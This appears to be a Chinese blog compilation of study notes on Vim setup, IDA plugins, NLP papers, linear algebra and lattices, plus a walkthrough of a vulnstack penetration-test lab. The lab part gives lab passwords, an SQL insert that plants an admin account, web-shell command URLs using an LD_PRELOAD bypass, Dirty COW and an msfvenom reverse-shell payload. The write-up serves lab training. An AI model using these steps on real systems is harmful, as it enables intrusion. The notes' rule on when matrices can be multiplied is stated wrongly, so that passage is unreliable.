some tips when use vim

linux安装vim时需要的插件和一些坑

1
sudo pacman -S gvim # 安装gvim以支持系统剪切板

文件组织

1
2
3
4
5
6
-~
--.vimrc
--.vim
---my_config.vim
---my_plugins.vim
--+bundle
1
2
source ~/.vim/my_plugins.vim
source ~/.vim/my_config.vim
1
2
3
4
5
6
7
8
9
10
11
" my_config.vim
set nu "显示行号
syntax on "语法高亮
set ts=4 "用4个空格替换tab
set expandtab
set autoindent
set shiftwidth=4 “设置之后可以使用gg=G自动格式化
set incsearch "搜索的实时预览

let g:ycm_min_num_identifier_candidate_chars = 2 "设置ycm自动补全触发字符为2
let g:ycm_key_invoke_completion = '<c-z>' "设置ycm自动不全触发健为Ctrl+z

安装vundle插件 https://github.com/VundleVim/Vundle.vim ,把对应的配置放在my_plugins里面

安装YCM插件 https://github.com/ycm-core/YouCompleteMe ,这里要注意的是,go和mono,jdt的language-server会下载失败,对应的解决方法如下

  1. go

设置go代理和github代理

1
2
go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.cn,direct

设置github代理,需要自己有代理

1
2
3
4
5
6
7
git config --global https.proxy http://127.0.0.1:1080
git config --global https.proxy https://127.0.0.1:1080
git config --global http.proxy 'socks5://127.0.0.1:1080'
git config --global https.proxy 'socks5://127.0.0.1:1080'
# 取消
git config --global --unset http.proxy
git config --global --unset https.proxy
  1. npm
    使用cnpm自己安装
    1
    npm install cnpm -g --registry=https://registry.npm.taobao.org
  2. 其它

使用find命令确定下的包在哪,使用proxychains配合wget/curl/axel自己下载放在对应的位置

安装vimtex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Plugin 'lervag/vimtex'

" ========================= vimtex==========
let g:vimtex_view_method='zathura'
let g:tex_flavor='latex'
let g:vimtex_compiler_progname = 'nvr'

" 阅读器相关的配置 包含正反向查找功能 仅供参考
let g:vimtex_view_general_viewer = 'zathura'
let g:vimtex_view_general_options_latexmk = '-reuse-instance'
let g:vimtex_view_general_options
\ = '-reuse-instance -forward-search @tex @line @pdf'
\ . ' -inverse-search "' . exepath(v:progpath)
\ . ' --servername ' . v:servername
\ . ' --remote-send \"^<C-\^>^<C-n^>'
\ . ':execute ''drop '' . fnameescape(''\%f'')^<CR^>'
\ . ':\%l^<CR^>:normal\! zzzv^<CR^>'
\ . ':call remote_foreground('''.v:servername.''')^<CR^>^<CR^>\""'

set conceallevel=1
let g:tex_conceal='abdmg'

" ========================================

使用”+y命令可以复制到系统剪贴板

安装好后,在vim中按”\ll”即可进行实时预览(需要有zathura以及pdf插件)

安装texlive

1
2
sudo pacman -S texlive-most texlive-lang
yay -S texlive-local-manager # 提供插件管理系统

IDA插件编写学习笔记

插件目录结构

ida安装目录

plugins

plugin_script.py

python

plugin_script

plugin_script_impl.py

__init__.py

其中plugin_script可以是自己定义的名称

plugin_script.py文件结构

插件示例

示例:打印程序中的空函数listNullFunc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import idautils
import idaapi
import idc

class ListNullFunc(idaapi.plugin_t): # 需要继承自IDA的插件类
flags = idaapi.PLUGIN_UNL
comment="List All null functions"
wanted_name="List Null Func" # 插件名称
wanted_hotkey="Ctrl-Alt-Y" # 插件快捷键
help="so..."
def init(self):
# 插件初始化时的操作
idaapi.msg("[lnf]List All Null functions starts\n")
idaapi.require('listNullFunc') # 导入python目录下的模块
idaapi.require('listNullFunc.listNullFuncImpl')
# PLUGIN_KEEP
return idaapi.PLUGIN_OK
def run(self,arg):
# 插件的入口函数
idaapi.msg("[lnf]List All Null functions runs\n")
listNullFunc.listNullFuncImpl.main()
def term(self):
# 插件结束时调用的方法
idaapi.msg("[lnf]List Null Func stopped\n")
def PLUGIN_ENTRY():
return ListNullFunc()

ListNullFuncImpl.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from idautils import *
from idaapi import *
from idc import *
def main():
msg("[lnf]: These are Null Functions\n")
funcs = Functions()
for func in funcs:
# print(hex(func))
# print(get_bytes(func,1))
if get_bytes(func,1)[0]==0xc3:
print(hex(func),"is a null function")
if __name__=="__main__":
main()

接下来按照上面的文件结构部署插件

也可以扫描目标函数然后patch掉空函数调用

使用nu1l 公开赛RE1实验,花指令,空函数比较多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[lnf]List All Null functions starts
[lnf]List All Null functions runs
[lnf]: These are Null Functions
0x123410ad is a null function
0x1234116c is a null function
0x12341256 is a null function
0x123412ac is a null function
0x123412b8 is a null function
0x123412da is a null function
0x123412ee is a null function
0x123412fe is a null function
0x12341315 is a null function
0x12341326 is a null function
0x12341365 is a null function
0x12341389 is a null function
0x123413bc is a null function
0x12341454 is a null function
0x1234146b is a null function
0x123414e7 is a null function
0x123414fb is a null function
0x1234154c is a null function
0x12341560 is a null function
0x123415f3 is a null function
0x12341603 is a null function
0x12341617 is a null function
0x12341d7e is a null function
[lnf]List Null Func stopped

杂谈

大部分IDA插件也可以如此安装

IDA插件也可以安装到%APPDATA%\Roaming\Hex-Rays\IDA Pro\plugins目录下,目录结构如下

plugins

plugin_script

plugin_script_impl.py

__init__.py

plugin_script.py

参考资料

https://www.52pojie.cn/thread-1198722-1-1.html

https://www.hex-rays.com/wp-content/static/products/ida/support/idapython_docs/

https://blog.csdn.net/qq_35056292/article/details/89421793

靶机看答案渗透记录-3

靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

wp参考 https://www.cnblogs.com/wkzb/p/13281772.html

我的机器上如果所有虚拟机都按照原定内存的话内存不够,所以为了缩减内存,只能先看最后找密码了5555

1
2
3
win7 123qwe!ASD
08 123qwe!ASD
win10 zxcASDqw123!!

要开启nginx服务,直接执行nginx命令即可(原本是开着的,可是改内存需要关机)

1
2
3
4
5
6
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

http://172.16.45.136/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

http://172.16.45.136/templates/beez3/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

http://172.16.45.136/templates/beez3/bypass_disablefunc.php?cmd=cat%20/proc/version&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

gcc -pthread dirty.c -o dirty -lcrypt

su firefart/baji

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf

1
2
3
msfconsole>set payload linux/x86/meterpreter/reverse_tcp
msfconsole>set lhost 172.16.45.129
msfconsole>set lport 4444

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit

192.168.93.10 2012
192.168.93.20 2008
192.168.93.30 7

爆破2008密码这块出问题了,总是readtimeout,先参考其它大师傅的结果吧,Windows 2008密码为123qwe!ASD

自然语言处理论文阅读笔记

我太菜了,英语还要开着有道翻译读

A Systematic Study of Inner-Attention-Based Sentence Representations in Multilingual Neural Machine Translation

https://www.mitpressjournals.org/doi/full/10.1162/coli_a_00377

探索了一种表示方法,可以产生固定大小的句子代表,被称为“Attention bridge”。这个相当于字然语言处理的一个中间层,这一层提取语句中的语义并且转化为语言无关的意思表示。并证明了下游任务中语句代表不影响翻译性能,并且提升了翻译质量,尤其是长句子翻译。短的语句代表有很多压缩,在不可训练的相似性任务中有益。多余的语句信号对不可训练的任务无益。

有用的期刊列表

来自学长

自然语言处理

clComputational Linguistics (cljournal.org)

TACLTransactions of the Association for Computational Linguistics (transacl.org)

相关会议

ual Meeting of the Association for Computational Linguistics)
NAACL (Annual Conference of the North American Chapter of Association for Computational Linguistics)
EMNLP (Empirical Methods in Natural Language Processing)
EACL (Annual Conference of the European Chapter of Association for Computational Linguistics)
COLING (International Conference on Computational Linguistics)
SIGKDD (ACM SIGKDD Conference on Knowledge Discovery and Data Mining)
SIGIR (ACM SIGIR Conference on Research and Development in Information Retrieval)
WWW (International World Wide Web Conference)

还有IEEE相关trans

线性代数入门-1

本来想看格密码的,可是发现自己好多线性代数基础都忘了,于是开始复(yu)习线性代数

这个系列是我的线性代数笔记,课程是MIT 线性代数,挺有名的那个,课程网站,教材是 Introduction to LinearAlgorithm, 5th

方程组的几何解释

考虑如下线性方程组

$$
\begin{cases}
2x-y=0
\-x+y=3
\end{cases}
$$

行图像:两个线性方程画成平面上的两条直线,直线的交点就是方程组的解

线性方程组的”线性“也是来源于此,在平面上表现为一条直线

列图像:线性方程组就是矩阵的线性组合

上面的方程组可以写成下面的形式

$$
x
\begin{bmatrix}
2\-1
\end{bmatrix}
+y\begin{bmatrix}-1\1\end{bmatrix}
=\begin{bmatrix}0\3\end{bmatrix}
$$

其中$\begin{bmatrix}2\-1\end{bmatrix}$这种可以看成一个从$(0,0)$到$(2,-1)$的一个向量,如图

这样问题就变成了向量$\begin{bmatrix}2\-1\end{bmatrix}$和向量$\begin{bmatrix}-1\1\end{bmatrix}$如何组合可以得到向量$\begin{bmatrix}0\3\end{bmatrix}$

向量的相加,在图上表现为将向量平移后首尾相接,如图中虚线所示

3维空间(3个未知数)同理,只是行图像中,一个方程不再代表一条线,而是一个3维空间的一个平面;两个平面只能相交与一条直线(非奇异情况)

矩阵乘法

视频中介绍了矩阵乘法的两种方法,举例说明

上面的方程组写成矩阵形式如下
$$
\begin{bmatrix}2 & -1\ -1 & 1\end{bmatrix}
\begin{bmatrix}x\y\end{bmatrix}
=
\begin{bmatrix}0\3\end{bmatrix}
$$
其中$x,y$可以是具体的数(解限定情况下就固定了)

算法1:使用上面的方法,将矩阵相乘转化为矩阵分别相加

$$
x
\begin{bmatrix}
2\-1
\end{bmatrix}
+y\begin{bmatrix}-1\1\end{bmatrix}
=\begin{bmatrix}0\3\end{bmatrix}
$$

算法2:矩阵相乘算法

将第一个矩阵的第一行分别与第二个矩阵的第一列点乘,结果作为结果矩阵的第一行第一列,然后是1的第二行和2的第一列,结果作为第二行第一列,以此类推

形式化说法:将第一个矩阵的第$i$行和第二个矩阵的第$j$列相乘,结果作为结果矩阵的位于$(i,j)$的元素

点乘($\cdot$)

$[a,b,c]\cdot[d,e,f]=ad+be+cf$

也可以看出矩阵相乘的充分必要条件,即第一个矩阵的行数等于第二个矩阵的列数,结果矩阵为(第一个矩阵的行数,第二个矩阵的列数)大小

知识回忆

如果一个矩阵中,任意一个行向量都不能成为其它行向量的线性表示,则称这个矩阵是非奇异的,并且是可逆的

矩阵消元

消元法

考虑三元一次方程组,解的时候使用消元法
$$
\begin{cases}
x+2y+z=2
\3x+8y+z=12
\\ \ \ \ \ \ \ \ \ 4y+z=2
\end{cases}
$$
可以写成矩阵形式
$$
\begin{bmatrix}
1&2&1\
3&8&1\
0&4&1
\end{bmatrix}
\begin{bmatrix}
x\y\z
\end{bmatrix}
=
\begin{bmatrix}
2\12\2
\end{bmatrix}
$$
矩阵的坐标从左上角开始,如(1,2)代表第一行第二列的元素

消元法首先选择(1,1)的元素作为主元,然后消去第二行和第三行的对应主元参数的系数(使它变为0),再选择(2,2)作为主元,继续做

主元的系数不能是0,如果是0需要进行行交换

设上面的矩阵表达式为$Ax=b$,则$A$和$b$合并成为$A$的增长矩阵

$$
\begin{bmatrix}
1&2&1&2\
3&8&1&12\
0&4&1&2
\end{bmatrix}
$$

回代即把消元后的矩阵回代到方程组中

矩阵乘法

上节课讲到了矩阵右乘一个列向量,那么矩阵左乘一个行向量也同理,可以理解为各个行相加

$$
\begin{bmatrix}
x&y&z
\end{bmatrix}
\begin{bmatrix}
1&2&1\
3&8&1\
0&4&1
\end{bmatrix}
=
\begin{bmatrix}
2&12&2
\end{bmatrix}
$$
可以理解为x倍第一行加y倍第二行加z倍第三行

从这个算法可以看出,左乘矩阵即对矩阵进行行变换,同理右乘矩阵是列变换

单位阵乘一个矩阵,矩阵的值不变

$$
\begin{bmatrix}
1&0&0\0&1&0\0&0&1
\end{bmatrix}
$$

矩阵消元进行的是行变换,可以理解为左乘一个矩阵。左乘的矩阵称为初等矩阵,如果为了消去(2,1)的系数,用$E_{2,1}$表示,同理有$E_{3,1},E_{3,2}$

矩阵乘法具有结合律,但没有交换律

学习某些算法时遇到的符号

对于一个向量$\mathbf{x}$,$||\mathbf{x}||=\sqrt{\sum_{i=1}^{n} x_i^2}$表示$n$维空间中$\mathbf{x}$的模

满秩矩阵:对于a*b大小的矩阵,如果行向量线性无关,称为行满秩,列向量线性无关称为列满秩,行列向量都线性无关,n阶方阵称为满秩矩阵

正定矩阵:对于任何非0向量$\mathbf{z}$,$\mathbf{z^TMz}>0$,则$M$为正定矩阵

狭义定义:当且仅当…

$\arg\limits_x \min f(x)$表示当$f(x)$取最小时$x$的值,同理$\arg\limits_x \max f(x)$

向量点乘$\mathbf{}{v\cdot w}= \sum\limits_i v_iw_i$

向量长度$\mathbf{||v||=\sqrt{v\cdot v}}$

向量夹角$\cos\theta=\mathbf{\frac{v\cdot w}{||v||\ ||w||}}$

向量点乘为0说明向量正交

单位向量就是长度为1的向量

$\mathbf{A}=\begin{bmatrix}1&0&0\-1&1&0\0&-1&1\end{bmatrix}$称为差异矩阵,因为$\mathbf{x}=\begin{bmatrix}a&b&c\end{bmatrix}^T$和它相乘,最终结果是$\begin{bmatrix}a&b-a&c-b\end{bmatrix}^T$

依赖、相关性

格密码入门--格-1

格,按照我的理解,就是一个空间内,位于空间中的几个基向量生成所有整数点的集合。

比如平面直角坐标系上(二维空间) (1,0),(0,1)生成的所有整数点的集合。

假设一个格拥有基向量$b_0,b_1,…,b_n$,则可以把格表示为基向量的任意线性组合的集合